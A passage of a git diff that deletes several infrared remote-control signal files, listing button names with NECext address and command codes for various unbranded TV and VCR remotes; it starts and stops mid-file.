04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: SkipMinus -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: SkipPlus -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: Sel -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: PreviousChannel -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 46 00 00 00 -# -name: Swap -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: Move -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir deleted file mode 100644 index 97f22ed9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: TELETEX_MIX -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1D 00 00 00 -# -name: TELETEX_ON -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 46 00 00 00 -# -name: TELETEX_OFF -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 46 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4C 00 00 00 -# -name: TELETEX_HOLD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir deleted file mode 100644 index f3ccfb7d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: ChnDn -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: Ent -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 39 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 64 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 70 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir deleted file mode 100644 index 8b4cbdce7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: tv_off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: vcr_off -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: toggle_sound -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: reverse_corner -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: uhr_corner -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: fa -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: uhr_music -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: quiz -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: program+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: program- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: contrast+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: ra_sl_us -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 29 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: brightness- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: brightness+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: contrast- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: corner -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: s100 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir deleted file mode 100644 index 9080dbfaa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 11 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 13 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 15 00 00 00 -# -name: EmptyWindow -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 20 00 00 00 -# -name: Shift7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 21 00 00 00 -# -name: Shift9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 22 00 00 00 -# -name: Shift8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 23 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4C 00 00 00 -# -name: ShiftStop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: ShiftPlay -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: ShiftPause -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: ShiftFF -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: ShiftRew -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: Ent -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: Shift0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 99 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: Shift2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: Shift3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C1 00 00 00 -# -name: Transparent -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: FullWindow -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CC 00 00 00 -# -name: Shift4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CE 00 00 00 -# -name: Shift5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CF 00 00 00 -# -name: ShiftChnUp -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D0 00 00 00 -# -name: ChnDn -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: ShiftChnDn -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D5 00 00 00 -# -name: ShiftVolUp -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D6 00 00 00 -# -name: ShiftVolDn -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D7 00 00 00 -# -name: ShiftInfo -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DA 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 -# -name: Shift6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir deleted file mode 100644 index 7185c467e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_3play -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir deleted file mode 100644 index b5ed8696c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: FastRew -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir deleted file mode 100644 index 26e4af9e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 09 00 00 00 -# -name: VOLRIGHT -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 0A 00 00 00 -# -name: VOLLEFT -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 42 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 43 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 44 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 45 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 46 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 4A 00 00 00 -# -name: CHDWN -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 4B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 4F 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 52 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: A6 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir deleted file mode 100644 index 0e868f51e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: 